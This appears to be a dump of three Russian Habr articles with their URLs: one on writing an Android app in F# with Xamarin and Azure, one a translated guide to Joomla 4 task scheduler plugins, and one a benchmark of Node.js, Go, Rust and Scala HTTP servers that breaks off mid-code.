> Идея для стартапа, рабочее название «ты где?».
>
>
>
> Смысл прост, девушка устанавливает приложение, указывает в нем номер своего молодого человека и после этого появляется большая гнопка отправки сообщения «ты где?» #startup #idea
>
>
Почему бы и нет?
**Примечание**
Я писал этот пост параллельно работая над приложением. Поэтому он большой и местами не очень логичный.
#### Футболочка
Первое что я сделал, это скачал и запустил приложение Xamarin Store чтобы получить футболку с F#. Такая же с C# у меня уже есть
Вернее я попробовал, но сразу же схватил проблему с построением. Оказывается текущая версия Xamarin поддерживает F# версии 3.0, а свободно скачиваемой является только версия F# 3.1.1
F# 3.0 находится внутри пакета Visual Studio Express 2012 for Web и устанавливается вместе со студией с помощью Microsoft Web Platform Installer. Странный подход.
Для работы Xamarin и F# достаточно чтобы сборка FSharp.Core версии 4.3.0.0 была в GAC. В любом случае, вот [прямая ссылка](http://go.microsoft.com/fwlink/?LinkId=261286) если кто-нибудь захочет попробовать.
#### Начало работы
Сейчас Xamarin поддерживает F# только внутри Xamarin Studio. Так что пришлось на время забыть о своей любимой VS2013 и поработать в этой, в целом довольно неплохой, среде. Создание нового приложения под Android заняло пару секунд и вот перед нами рабочее Hello-world приложение для Android на F#
**MainActivity.fs**
```
namespace Xakpc.WhereAreYou.Droid
open System
open Android.App
open Android.Content
open Android.OS
open Android.Runtime
open Android.Views
open Android.Widget
[]
type WhereAreYouActivity () =
inherit Activity ()
let mutable count:int = 1
override this.OnCreate (bundle) =
base.OnCreate (bundle)
// Set our view from the "main" layout resource
this.SetContentView (Resource\_Layout.Main)
// Get our button from the layout resource, and attach an event to it
let button = this.FindViewById(Resource\_Id.myButton)
button.Click.Add (fun args ->
button.Text <- sprintf "%d clicks!" count
count <- count + 1
)
```
Похоже Хабр не умеет раскрашивать F#. Грусть-тоска (зато есть поддержка Vala)
#### Сразу в Бой, Попытка номер раз
Как должно выглядеть приложение мне было очевидно, 3 экрана, 3 пуш уведомления, старый добрый Azure в качестве бэкэнда, вырвиглазные цвета (inspired by Yo)
Дальше лучший друг разработчика, карандаш и листок бумаги. Нарисовали мокапы и вперед, к коду. Добавляем компоненты из Xamarin Component Store в проект: Azure Mobile Services и Google Play Services (ICS — я не хочу сейчас заморачиваться со старыми версиями Android).
Собираем и *БАМ!* — первые грабли.
**Грабельки**Программирование на Xamarin под Android, по мнению [Xlab](https://habrahabr.ru/users/xlab/). Я с ним согласен :)
При построении проекта Xamarin строит файлы ресурсов, в частности он генерирует файл `Resource.Designer.fs` содержащий, насколько я понимаю, указатели и/или идентификаторы ресурсов. В частности там есть указатель на идентификатор Id.end который транслируется в следущий код
```
// aapt resource value: 0x7f070013
static member end = 2131165203
```
а слово end является ключевым для F# и компилятор сообщает об ошибке `Недопустимое ключевое слово "end" в определение члена (FS0010)`. И это та из ошибок которую сам не решишь, управление генерацией этих файлов нам недоступна к сожалению.
Я сразу же написал на форум Xamarin и в твиттер Miguel de Icaza — и оперативно получил ответ! Разработчики сообщают что в Альфа-версии эта ошибка уже исправлена.
Переключаю Xamarin Studio на альфа-канал и *БАМ!* — все равно не работает.
Оказывается…
> Looks like the Windows Alpha channel is not quite there yet...
Ну что же, остается только подождать пока оно будет «там», время еще есть. Оставим пока Google Play Services в покое.
##### Немного слов о F#
Начиная проект я ничего не знал о F#, кроме того что это «круто», «современно», и «крайне удобно». Попытка взять его с наскоку в новом проекте с треском провалилась. Почти пятнадцать минут я потратил пытаясь понять почему `let values = ["item1"; "item2"; "item3"]` нельзя передать в конструктор ArrayAdapter'а ``listView.Adapter <- new ArrayAdapter(this, Android.Resource.Layout.SimpleListItem1, Android.Resource.Id.Text1, values)
Решение оказалось, эээ, простым let values = [|"item1"; "item2"; "item3"|]` - это создает string[], а в первом случае был создан list (IEnumerable как я понимаю)
Следующие два дня я посвятил всестороннему изучению языка программирования F#. В это мне сильно помог прекрасный интерактивный курс обучения доступный на [www.tryfsharp.org/Learn](http://www.tryfsharp.org/Learn/)
Если вы хотите начать изучать F# - вам туда, рекомендую
Помимо этого мне очень помог цикл статей [F# For Fun And Profit](http://fsharpforfunandprofit.com/)
---
#### Сразу в Бой, попытка номер два
Начинаем реализовывать первый экран - регистрацию.
Для регистрации я собираю телефон и генерирую hash
Вот как выглядит функция MD5 для F#
```
let MD5Hash (input : string) =
use md5 = System.Security.Cryptography.MD5.Create()
input
|> System.Text.Encoding.ASCII.GetBytes
|> md5.ComputeHash
|> Seq.map (fun c -> c.ToString("X2"))
|> Seq.reduce (+)
```
Оператор `|>` это pipeline оператор, он передает результат выражения дальше.
Таким образом имеем следующий алгоритм: получаем байты из GetBytes -> вычисляется хеш -> для каждого байта конвертация в HEX формат -> получившийся массив символов склеиваем в строку (*метод reduce выполняет функцию + для каждого элемента начиная с первой пары в накопленный итог*) -> возвращаем результат вычисления функции.
**Для сравнения, тот же метод на C#**
```
using System;
public string CreateMD5Hash (string input)
{
MD5 md5 = System.Security.Cryptography.MD5.Create();
byte[] inputBytes = System.Text.Encoding.ASCII.GetBytes (input);
byte[] hashBytes = md5.ComputeHash (inputBytes);
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hashBytes.Length; i++)
{
sb.Append (hashBytes[i].ToString ("X2"));
}
return sb.ToString();
}
```
Одна из проблем над которой я завис на некоторое время: это то что одни модули не видели другие. Например у меня есть модуль для AzureServiceWorker (который в CLR транслируется в статичный класс)
И сколько я не пытался вызвать его в активити - ничего не получалось. Оказывается для F# **важен порядок файлов**! И оказывается Xamarin Studio не позволяет его поменять никаким другим образом кроме как в файле проекта.
```
```
##### Получение списка контактов
Первое что необходимо сделать после запуска и регистрации: это получить список контактов. Для этого у Xamarin есть полезный модуль Xamarin.Mobile
Так же тут возникает вопрос асинхронности. У F# свой подход к асинхронности во многом похожий на TPL, также присутствует совместимость с Task'ами, однако у него есть свои особенности. В частности по умолчанию F# не умеет работать с асинхронными функциями возвращающими просто Task. К счастью, решается эта проблема довольно просто:
```
module Async =
open System.Threading
open System.Threading.Tasks
let inline AwaitPlainTask (task: Task) =
// rethrow exception from preceding task if it fauled
let continuation (t : Task) : unit =
match t.IsFaulted with
| true -> raise t.Exception
| arg -> ()
task.ContinueWith continuation |> Async.AwaitTask
```
Ее можно было бы решить еще проще вызвав `Async.AwaitIAsyncResult >> Async.Ignore` но тогда теряется исключения внутри таски
А вот как я получаю контакты и делаю над ними операции
```
let ExtractUserInfo (x : Contact) =
let first = x.Phones |> Seq.tryPick(fun x -> if x.Type = PhoneType.Mobile then Some(x) else None)
match first with
| Some(first) ->
let phone = first.Number |> StripChars [' ';'-';'(';')']
UserInfo.CreateUserInfo((MD5Hash phone), phone, x.DisplayName)
| None -> UserInfo.CreateUserInfo("no mobile phone", "no mobile phone", "no mobile phone")
// function for async list filling
let FillContactsAsync = async {
let book = new AddressBook (this)
let! result = book.RequestPermission() |> Async.AwaitTask
if result then
_contacts <- book.ToList()
|> Seq.filter (fun (x: Contact) -> not (Seq.isEmpty x.Phones))
|> Seq.map ExtractUserInfo
|> Seq.sortBy(fun x -> x.DisplayName)
|> Seq.toList
let finalContacts = _contacts |> Seq.map (fun x -> x.DisplayName.ToUpperInvariant()) |> Seq.toArray
this.ListAdapter <- new ArrayAdapter(this, Resource_Layout.row_contact, finalContacts)
else
System.Diagnostics.Debug.WriteLine("Permission denied by user or manifest")
this.ListAdapter <- new ArrayAdapter(this, Resource_Layout.row_contact, Array.empty)
}
```
Разберем ключевую последовательность действий функции
1. `book.ToList()` конвертируем в List
2. `|> Seq.filter (fun (x: Contact) -> not (Seq.isEmpty x.Phones))` фильтруем все контакты без телефонов
3. `|> Seq.map ExtractUserInfo` конвертируем все элементы из класса Contracts в UserInfo, далее у нас коллекция элементов UserInfo
4. `|> Seq.sortBy(fun x -> x.DisplayName)` Сортируем
5. `|> Seq.toList` конвертируем в List
6. `_contacts <-` кладем все в mutable поле
7. `_contacts |> Seq.map (fun x -> x.DisplayName.ToUpperInvariant())<-`конвертируем все элементы UserInfo в string, далее у нас коллекция элементов-строк - имена заглавными буквами
8. `|> Seq.toArray<-`конвертируем List в Array чтобы его принял ArrayAdapter
Тут есть нелогичность - два раза происходит конвертирование в List. Надо будет исправить.
#### Azure Mobile Servcies
В качестве бэк-энда традиционно я использую Azure Mobile Services. Пока я не стал заморачиваться с NotificationHub, который призван обеспечить доставку Push уведомлений на все платформы. Описывать подключение Azure я тоже не буду, т.к. у них есть свои подробнейшие мануалы.
В приложении я создаю пару констант, они помечаются тегом ````
module WruConstants =
[]
let TotallyNotAzureServer = "https://YOUR.azure-mobile.net/";
[]
let TotallyNotAzureKey = "YOUR"
```
Рассмотрим один ~~метод~~ функцию по частям
```
member this.RegisterMe phone name regId = async {
try
let table = this.MobileService.GetTable()
let usr =
{ Id = ""
PhoneHash = MD5Hash phone
Nickname = name
RegistrationId = regId }
do! table.InsertAsync usr |> Async.AwaitPlainTask
return (usr.Id, usr.PhoneHash, usr.Nickname)
with | e -> System.Diagnostics.Trace.WriteLine(e.ToString)
return (String.Empty,String.Empty,String.Empty) }
```
1. `member this.RegisterMe phone name regId = async {` - тут создается функция член определения типа (будет транслировано в статичный публичный метод) с тремя входящими параметрами. Дальнейший код размещается в так называемом "computation expression" или асинхронном workflow. Внутри скобок { } можно использовать специальные конструкции с суффиксом ! (читается bang), например do! (do-bang) или let! (let bang)
2. Я создаю объект записи User. Интересной особенностью является то, что F# сам определит к какому типу относиться данный объект, с помощью набора заданных полей
```
let usr = { Id = ""
PhoneHash = MD5Hash phone
Nickname = name
RegistrationId = regId }
```
3. `do! table.InsertAsync usr |> Async.AwaitPlainTask` делаем do-bang, что эквивалентно `await` из C#. Т.е. запускаем асинхронную задачу на выполнение а весь последующий код продолжится выполнятся в continuation после завершения асинхронной задачи.
4. `return (usr.Id, usr.PhoneHash, usr.Nickname)` и наконец возвращаем кортеж эквивалентный Tuple для работы с ним далее.
5. Конструкция `try ... with | e ->` эквивалентна `try..catch` из C#
Интересным является способ доступа к элементам кортежа. В F# есть встроенные функции `fst` и `snd` для доступа к первой паре элементов. Но они подходят только для кортежей из 2х элементов. Мне пришлось написать свои функции:
```
let id (c,_,_) = c
let phonehash (_,c,_) = c
let nickname (_,_,c) = c
```
их использование очень понятное: `id tuple` вернет Id и т.п.
Всего у меня 5 функций Azure, две из них используются для выполнения Push уведомлений. Чтобы их использовать мне пришлось написать Azure Custom Api функцию
**Вот она если кому интересно**
```
exports.post = function(request, response) {
// Use "request.service" to access features of your mobile service, e.g.:
// var tables = request.service.tables;
// var push = request.service.push;
//response.send(statusCodes.OK, { message : 'Hello World!' });
console.log('Incoming call with requst: ', request.body.RequestId);
var usersTable = request.service.tables.getTable('User');
usersTable.where( { id : request.body.TargetId } )
.read(
{ success: function(results)
{
if (results.length > 0)
{
var user = results[0]
console.log('Send to results: ', user.Nickname, user.RegistrationId);
request.service.push.gcm.send(user.RegistrationId,
{
RequesterId: request.body.RequesterId,
RequesterNickname: request.body.RequesterName,
TargetId: user.id,
TargetNickname: user.Nickname
},
{
success: function(gcm_response) {
console.log('Push notification sent: ', gcm_response);
response.send(statusCodes.OK, { RequestedNickname : user.Nickname });
},
error: function(gcm_error) {
console.log('Error sending push notification: ', gcm_error);
response.send(statusCodes.INTERNAL_SERVER_ERROR, { RequestedNickname : user.Nickname });
}
});
}
else
{
response.send(statusCodes.NO_CONTENT, { RequestedNickname : "" });
}
},
error: function(error)
{
console.log('Error read table: ', error);
response.send(statusCodes.INTERNAL_SERVER_ERROR, { RequestedNickname : "" });
}
});
};
```
Ну а выполнение Push операции в мобильном приложении тривиально
```
// Perform Push operation
member this.PushAsync targetId myId myNickname = async {
try
let (request : PushRequest) =
{
TargetId = targetId
RequesterId = myId
RequesterName = myNickname
}
let! result = this.MobileService.InvokeApiAsync("pushhim", request) |> Async.AwaitTask
return result.RequestedNickname
with | e -> return e.ToString() }
```
отмечу только что тут нам нужен результат, поэтому мы используем `let-bang` а не `do!`
#### Пуш нотификации
Для пушей проекту нужна поддержка Google Play Services. Однако они несовместимы с F# в данный момент. Пришлось полазить по зависимостям и найти ту сборку которая ломала проект. Оказалось что это сборка: *Xamarin.Android.Support.v7.AppCompat*
Удаляем ее и все собирается, Google Play Services работают, можно создавать уведомления.
Вообще процесс получения и обработки push notification достаточно унылая штука. Телефон регистрируется в GCM, получает ID, дальше мы сохраняем этот ID на сервере и по нему отрабатываем Push уведомления (см. серверную функцию pushhim). Простое получение запроса требует от нас создания BroadcastReciever и сервиса и подробно описано на [developer.android.com](http://developer.android.com/google/gcm/client.html). Переписывать мне это на F# абсолютно не хотелось и тут мне снова помог Xamarin Component Store. Внутри него есть компонент Google Cloud Messaging Client который инкапсулирует в себя большую часть работы с GCM и этим очень удобен. Вот все что нужно сделать для получения ID
```
//Check to see that GCM is supported and that the manifest has the correct information
GcmClient.CheckDevice(this)
GcmClient.CheckManifest(this)
// check google play
if CheckPlayServices() then
// Try to get registration id
let regId = GcmClient.GetRegistrationId this
if String.IsNullOrEmpty(regId) then
// Call to Register the device for Push Notifications
GcmClient.Register(this, WruConstants.GcmSender);
```
Если наберется сотня пользователей воткну сюда карту
Вот пожалуй и все.
Заявка на конкурс подана, блог-пост написан
исходники доступны на битбакете [bitbucket.org/xakpc/whereareyou](https://bitbucket.org/xakpc/whereareyou)
само приложение доступно в гуглоплее, могу дать ссылку интересующимся
Я понимаю что предложенный тут код во многом не функциональный, буду рад за любые предложения по превращению кода в более "функциональную" версию.
#### Вердикт
Да, я написал Android приложение на F#. Это был интересный и увлекательный опыт.
Нет, я никогда больше не буду писать что-то под Android на F#. По крайней мере, пока не увижу явных удобств в этом.`` | https://habr.com/ru/post/228783/ | null | ru | null |
# Создание WebCron плагина для Joomla 4 (Task Scheduler Plugin)
Эта статья - дополненный перевод статьи [How to Create Joomla Task Scheduler Plugin](https://www.techfry.com/joomla/how-to-create-joomla-task-scheduler-plugin).
В Joomla! появился планировщик задач начиная с версии 4.1. Он помогает автоматизировать повторяющиеся и рутинные задачи самого широкого спектра, начиная от технического обслуживания и заканчивая сложными синхронизациями по API.
Планировщик задач запускает задачу, определенную в плагине, с помощью задания CRON.
**Задания CRON (CRON Job)**: Задание CRON используется для автоматизации повторяющихся задач. Например, для обработки очередей электронной почты, для синхронизации заказов или остатков товаров, обновления цен интернет-магазина, для проверки веб-сайта на наличие проблем и так далее.
Также о технологии WebCron в Joomla 4.1 сообщалось в обзоре [Новое в Joomla 4.1](https://habr.com/ru/post/657647/) на Хабре, в разделе "**WebCron в Joomla 4.1**".
### Плагин планировщика задач Joomla 4 (Task Scheduler)
Это стандартный Joomla! плагин с `group="task"`. В нём необходимо использовать `TaskPluginTrait`.
```
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent;
use Joomla\Component\Scheduler\Administrator\Task\Status;
use Joomla\Component\Scheduler\Administrator\Task\Task;
use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait;
use Joomla\Event\SubscriberInterface;
class PlgTaskExample extends CMSPlugin implements SubscriberInterface
{
use TaskPluginTrait;
protected const TASKS_MAP = array(
'plg_task_do_example' => array(
'langConstPrefix' => 'PLG_TASK_DO_EXAMPLE',
'method' => 'doExample',
'form' => 'do_example'
)
);
protected $autoloadLanguage = true;
protected $app;
protected $db;
public static function getSubscribedEvents(): array
{
return array(
'onTaskOptionsList' => 'advertiseRoutines',
'onExecuteTask' => 'standardRoutineHandler',
'onContentPrepareForm' => 'enhanceTaskItemForm',
);
}
private function doExample(ExecuteTaskEvent $event): int
{
// Code for Tasks
return Status::OK;
}
}
```
### Реализация
Плагин планировщика задач в Joomla 4 должен использовать `TaskPluginTrait` и определять методы, соответствующие каждой процедуре вместе с константой класса `TASKS_MAP` для объявления поддерживаемых процедур и связанных с ними свойств. `TaskPluginTrait` включает в себя стандартные методы для трансляции процедур (*routines)*, улучшения форм задач и вызов подзадач.
#### advertiseRoutines()
Этот метод объявляет процедуры, поддерживаемые плагином. Он должен быть сопоставлен с событием `onTaskOptionsList`, позволяющим плагину объявлять свои процедуры. Метод уже определен в трейте, поэтому Вам не требуется определять его в вашем плагине.
#### enhanceTaskItemForm()
Этот метод расширяет форму задачи из XML-файла плагина, объявленного с помощью константы `TASKS_MAP`. Этот метод может быть сопоставлен с событием `onContentPrepareForm`. Этот метод уже определен в трейте, поэтому вам не требуется определять его в вашем плагине.
Вам нужно добавить имя формы в `TASKS_MAP` и константу и создать XML-форму в папке `forms` плагина с тем же именем.
Пример из кода плагина "Задача - Запросы GET". В TASKS\_MAP указан файл формы для настроек плагина. Событие onContentPrepareForm в getSubscribedEvents позволит его отобразить в админке.#### standardRoutineHandler()
Метод сопоставляет стандартные процедуры задачи с методами класса. Вы можете добавить имя метода в константу `TASKS_MAP` и определить его в своем плагине. Выполняться метод будет при запуске задачи.
Этот метод должен быть сопоставлен с событием `onExecuteTask`. Ожидается, что эти методы будут принимать один аргумент (событие) и возвращать статус задачи в виде числа (integer).
#### logTask()
Этот метод добавляет сообщение в логи. Первый аргумент - это сообщение, а второй аргумент - приоритет: отладка, ошибка, предупреждение, уведомление, информация.
```
$this->logTask('Task is being executed', 'info');
```
Основной метод для выполнения задачи (doExample)
------------------------------------------------
В примере выше это метод doExample.
```
use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent;
use Joomla\Component\Scheduler\Administrator\Task\Status;
/**
* Standard routine method for the get request routine.
*
* @param ExecuteTaskEvent $event The onExecuteTask event
*
* @return integer The exit code
*
* @since 4.1.0
* @throws Exception
*/
private function doExample(ExecuteTaskEvent $event): int
{
// Code for Tasks
return Status::OK;
}
```
В качестве параметра он принимает объект события `onExecuteTask`. Для выполнения задачи нам могут понадобится параметры, указанные в настройках плагина задачи. Получить параметры плагина можно с помощью метода `$event->getArgument('params')`
```
$id = $event->getTaskId();
// Получаем параметры плагина, указанные в настройках
$params = $event->getArgument('params');
$url = $params->url;
$timeout = $params->timeout;
$auth = (string) $params->auth ?? 0;
$authType = (string) $params->authType ?? '';
$authKey = (string) $params->authKey ?? '';
```
По завершении работы основного метода он должен вернуть статус выхода задачи.
### Статусы выхода задачи в Joomla
На данный момент в Joomla 4 существует 12 возможных статусов завершения задачи, которым назначены числовые значения.
1. `INVALID_EXIT` = -2: используется, когда процедура возвращает неверный (не целочисленное, non-integer) статус завершения задачи.
2. `NO_EXIT` = -1: используется, когда процедура не возвращает статус завершения задачи..
3. `RUNNING` = 1: Используется при старте задачи. Это значение не должно быть статусом завершения задачи.
4. `NO_LOCK` = 2: Используется при невозможности получения `pseudo-lock`.
5. `NO_RUN` = 3: Используется при ошибке запуска задачи.
6. `NO_RELEASE` = 4: Используется при невозможности снять блокировку или обновить запись.
7. `KNOCKOUT` = 5: Используется, когда процедура "валится" из-за выкинутых исключений (Exception).
8. `WILL_RESUME` = 123: Используется, когда необходимо возобновить выполнение задачи. Используйте это для длительных задач, чтобы разделить их на более мелкие пакеты. Когда будет выполнен последний пакет, верните `Status::OK`.
9. `TIMEOUT` = 124: Используется в случае таймаута задачи.
10. `NO_TASK` = 125: Используется в случае, если задача не обнаружена.
11. `NO_ROUTINE` = 127: Используется в случае, если процедура задачи не обнаружена.
12. `OK` = 0: Успешное завершение задачи.
Пример из кода плагина Задача - GET-запрос
```
use Joomla\Component\Scheduler\Administrator\Task\Status as TaskStatus;
protected function makeGetRequest(ExecuteTaskEvent $event): int
{
...
try
{
$response = HttpFactory::getHttp($options)->get($url, $headers, $timeout);
}
catch (Exception $e)
{
$this->logTask(Text::sprintf('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_TIMEOUT'));
return TaskStatus::TIMEOUT;
}
...
$this->logTask(Text::sprintf('PLG_TASK_REQUESTS_TASK_GET_REQUEST_LOG_RESPONSE', $responseCode));
if ($response->code !== 200)
{
return TaskStatus::KNOCKOUT;
}
return TaskStatus::OK;
}
```
Принимаются пожелания по улучшению статьи и качества перевода :)
#### Так же полезные ресурсы
#### Ресурсы сообщества:
* [форум русской поддержки Joomla](https://joomlaforum.ru/).
* [интернет-портал Joomla-сообщества](https://joomlaportal.ru/).
* <https://vc.ru/s/1146097-joomla> - Сообщество Joomla на VC.
#### Telegram:
* [чат сообщества «Joomla! по-русски»](https://t.me/joomlaru).
* [Joomla для профессионалов, разработчики Joomla](https://t.me/projoomla).
* [Новости о Joomla! и веб-разработке по-русски](https://t.me/joomlafeed).
* [вакансии и предложения работы по Joomla](https://t.me/joomla_jobs): фуллтайм, частичная занятость и разовые подработки. Размещение вакансий [здесь](https://jpath.ru/jobs/add).
* [Англоязычный чат сообщества](https://t.me/joomlatalks). | https://habr.com/ru/post/676902/ | null | ru | null |
# Как выбрать язык программирования?
Именно таким вопросом задалась команда Почты Mail.Ru перед написанием очередного сервиса. Основная цель такого выбора — высокая эффективность процесса разработки в рамках выбранного языка/технологии. Что влияет на этот показатель?
* Производительность;
* Наличие средств отладки и профилирования;
* Большое сообщество, позволяющее быстро найти ответы на вопросы;
* Наличие стабильных библиотек и модулей, необходимых для разработки веб-приложений;
* Количество разработчиков на рынке;
* Возможность разработки в современных IDE;
* Порог вхождения в язык.
Кроме этого, разработчики приветствовали немногословность и выразительность языка. Лаконичность, безусловно, так же влияет на эффективность разработки, как отсутствие килограммовых гирь на вероятность успеха марафонца.
Исходные данные
===============
### Претенденты
Так как многие серверные микротаски нередко рождаются в клиентской части почты, то первый претендент — это, конечно, [Node.js](http://nodejs.org) с ее родным JavaScript и [V8](https://developers.google.com/v8) от Google.
После обсуждения и исходя из предпочтений внутри команды были определены остальные участники конкурса: [Scala](http://www.scala-lang.org/), [Go](https://golang.org/) и [Rust](https://www.rust-lang.org/).
В качестве теста производительности предлагалось написать простой HTTP-сервер, который получает от общего сервиса шаблонизации HTML и отдает клиенту. Такое задание диктуется текущими реалиями работы почты — вся шаблонизация клиентской части происходит на V8 с помощью шаблонизатора [fest](https://github.com/mailru/fest).
При тестировании выяснилось, что все претенденты работают примерно с одинаковой производительностью в такой постановке — все упиралось в производительность V8. Однако реализация задания не была лишней — разработка на каждом из языков позволила составить значительную часть субъективных оценок, которые так или иначе могли бы повлиять на окончательный выбор.
Итак, мы имеем два сценария. Первый — это просто приветствие по корневому URL:
```
GET / HTTP/1.1
Host: service.host
HTTP/1.1 200 OK
Hello World!
```
Второй — приветствие клиента по его имени, переданному в пути URL:
```
GET /greeting/user HTTP/1.1
Host: service.host
HTTP/1.1 200 OK
Hello, user
```
### Окружение
Все тесты проводились на виртуальной машине VirtualBox.
Хост, MacBook Pro:
* 2,6 GHz Intel Core i5 (dual core);
* CPU Cache L1: 32 KB, L2: 256 KB, L3: 3 MB;
* 8 GB 1600 MHz DDR3.
VM:
* 4 GB RAM;
* VT-x/AMD-v, PAE/NX, KVM.
Программное обеспечение:
* CentOS 6.7 64bit;
* Go 1.5.1;
* Rustc 1.4.0;
* Scala 2.11.7, sbt 0.13.9;
* Java 1.8.0\_65;
* Node 5.1.1;
* Node 0.12.7;
* nginx 1.8.0;
* wrk 4.0.0.
Помимо стандартных модулей, в примерах на Rust использовался [hyper](http://hyper.rs), на Scala — [spray](http://spray.io). В Go и Node.js использовались только нативные пакеты/модули.
Инструменты измерения
=====================
Производительность сервисов тестировалась при помощи следующих инструментов:
* [wrk](https://github.com/wg/wrk);
* [ab](https://httpd.apache.org/docs/2.2/programs/ab.html);
* [JMeter](http://jmeter.apache.org/);
* [boom](https://github.com/rakyll/boom).
В данной статье рассматриваются бенчмарки wrk и ab.
Результаты
==========
### Производительность
**wrk**
Ниже представлены данные пятиминутного теста, с 1000 соединений и 50 потоками:
`wrk -d300s -c1000 -t50 --timeout 2s service.host`
| Label | Average Latency, ms | Request, #/sec |
| --- | --- | --- |
| Go | 104,83 | 36 191,37 |
| Rust | 0,02906 | 32 564,13 |
| Scala | 57,74 | 17 182,40 |
| Node 5.1.1 | 69,37 | 14 005,12 |
| Node 0.12.7 | 86,68 | 11 125,37 |
`wrk -d300s -c1000 -t50 --timeout 2s service.host/greeting/hello`
| Label | Average Latency, ms | Request, #/sec |
| --- | --- | --- |
| Go | 105,62 | 33 196,64 |
| Rust | 0,03207 | 29 623,02 |
| Scala | 55,8 | 17 531,83 |
| Node 5.1.1 | 71,29 | 13 620,48 |
| Node 0.12.7 | 90,29 | 10 681,11 |
Столь хорошо выглядящие, но, к сожалению, неправдоподобные цифры в результатах Average Latency у Rust свидетельствуют об одной особенности, которая присутствует в модуле hyper. Все дело в том, что параметр -c в wrk говорит о количестве подключений, которые wrk откроет на каждом треде и не будет закрывать, т. е. keep-alive подключений. Hyper работает с keep-alive не совсем ожидаемо — [раз](https://github.com/hyperium/hyper/issues/368), [два](https://github.com/hyperium/hyper/issues/601).
Более того, если вывести через Lua-скрипт распределение запросов по тредам, отправленным wrk, мы увидим, что все запросы отправляет только один тред.
Для интересующихся Rust также стоит отметить, что эти особенности привели вот к [чему](https://github.com/hyperium/hyper/issues/395).
Поэтому, чтобы тест был достоверным, было решено провести аналогичный тест, поставив перед сервисом nginx, который будет держать соединения с wrk и проксировать их в нужный сервис:
```
upstream u_go {
server 127.0.0.1:4002;
keepalive 1000;
}
server {
listen 80;
server_name go;
access_log off;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 300;
keepalive_requests 10000;
gzip off;
gzip_vary off;
location / {
proxy_pass http://u_go;
}
}
```
`wrk -d300s -c1000 -t50 --timeout 2s nginx.host/service`
| Label | Average Latency, ms | Request, #/sec |
| --- | --- | --- |
| Rust | 155,36 | 9 196,32 |
| Go | 145,24 | 7 333,06 |
| Scala | 233,69 | 2 513,95 |
| Node 5.1.1 | 207,82 | 2 422,44 |
| Node 0.12.7 | 209,5 | 2 410,54 |
`wrk -d300s -c1000 -t50 --timeout 2s nginx.host/service/greeting/hello`
| Label | Average Latency, ms | Request, #/sec |
| --- | --- | --- |
| Rust | 154,95 | 9 039,73 |
| Go | 147,87 | 7 427,47 |
| Node 5.1.1 | 199,17 | 2 470,53 |
| Node 0.12.7 | 177,34 | 2 363,39 |
| Scala | 262,19 | 2 218,22 |
Как видно из результатов, overhead с nginx значителен, но в нашем случае нас интересует производительность сервисов, которые находятся в равных условиях, независимо от задержки nginx.
**ab**
Утилита от Apache ab, в отличие от wrk, не держит keep-alive соединений, поэтому nginx нам тут не пригодится. Попробуем выполнить 50 000 запросов за 10 секунд, с 256 возможными параллельными запросами.
`ab -n50000 -c256 -t10 service.host`
| Label | Completed requests, # | Time per request, ms | Request, #/sec |
| --- | --- | --- | --- |
| Go | 50 000,00 | 22,04 | 11 616,03 |
| Rust | 32 730,00 | 78,22 | 3 272,98 |
| Node 5.1.1 | 30 069,00 | 85,14 | 3 006,82 |
| Node 0.12.7 | 27 103,00 | 94,46 | 2 710,22 |
| Scala | 16 691,00 | 153,74 | 1 665,17 |
`ab -n50000 -c256 -t10 service.host/greeting/hello`
| Label | Completed requests, # | Time per request, ms | Request, #/sec |
| --- | --- | --- | --- |
| Go | 50 000,00 | 21,88 | 11 697,82 |
| Rust | 49 878,00 | 51,42 | 4 978,66 |
| Node 5.1.1 | 30 333,00 | 84,40 | 3 033,29 |
| Node 0.12.7 | 27 610,00 | 92,72 | 2 760,99 |
| Scala | 27 178,00 | 94,34 | 2 713,59 |
Стоит отметить, что для Scala-приложения характерен некоторый «прогрев» из-за возможных оптимизаций JVM, которые происходят во время работы приложения.
Как видно, без nginx hyper в Rust по-прежнему плохо справляется даже без keep-alive соединений. А единственный, кто успел за 10 секунд обработать 50 000 запросов, был Go.
Исходный код
============
**Node.js**
```
var cluster = require('cluster');
var numCPUs = require('os').cpus().length;
var http = require("http");
var debug = require("debug")("lite");
var workers = [];
var server;
cluster.on('fork', function(worker) {
workers.push(worker);
worker.on('online', function() {
debug("worker %d is online!", worker.process.pid);
});
worker.on('exit', function(code, signal) {
debug("worker %d died", worker.process.pid);
});
worker.on('error', function(err) {
debug("worker %d error: %s", worker.process.pid, err);
});
worker.on('disconnect', function() {
workers.splice(workers.indexOf(worker), 1);
debug("worker %d disconnected", worker.process.pid);
});
});
if (cluster.isMaster) {
debug("Starting pure node.js cluster");
['SIGINT', 'SIGTERM'].forEach(function(signal) {
process.on(signal, function() {
debug("master got signal %s", signal);
process.exit(1);
});
});
for (var i = 0; i < numCPUs; i++) {
cluster.fork();
}
} else {
server = http.createServer();
server.on('listening', function() {
debug("Listening %o", server._connectionKey);
});
var greetingRe = new RegExp("^\/greeting\/([a-z]+)$", "i");
server.on('request', function(req, res) {
var match;
switch (req.url) {
case "/": {
res.statusCode = 200;
res.statusMessage = 'OK';
res.write("Hello World!");
break;
}
default: {
match = greetingRe.exec(req.url);
res.statusCode = 200;
res.statusMessage = 'OK';
res.write("Hello, " + match[1]);
}
}
res.end();
});
server.listen(8080, "127.0.0.1");
}
```
**Go**
```
package main
import (
"fmt"
"net/http"
"regexp"
)
func main() {
reg := regexp.MustCompile("^/greeting/([a-z]+)$")
http.ListenAndServe(":8080", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
switch r.URL.Path {
case "/":
fmt.Fprint(w, "Hello World!")
default:
fmt.Fprintf(w, "Hello, %s", reg.FindStringSubmatch(r.URL.Path)[1])
}
}))
}
```
**Rust**
```
extern crate hyper;
extern crate regex;
use std::io::Write;
use regex::{Regex, Captures};
use hyper::Server;
use hyper::server::{Request, Response};
use hyper::net::Fresh;
use hyper::uri::RequestUri::{AbsolutePath};
fn handler(req: Request, res: Response) {
let greeting\_re = Regex::new(r"^/greeting/([a-z]+)$").unwrap();
match req.uri {
AbsolutePath(ref path) => match (&req.method, &path[..]) {
(&hyper::Get, "/") => {
hello(&req, res);
},
\_ => {
greet(&req, res, greeting\_re.captures(path).unwrap());
}
},
\_ => {
not\_found(&req, res);
}
};
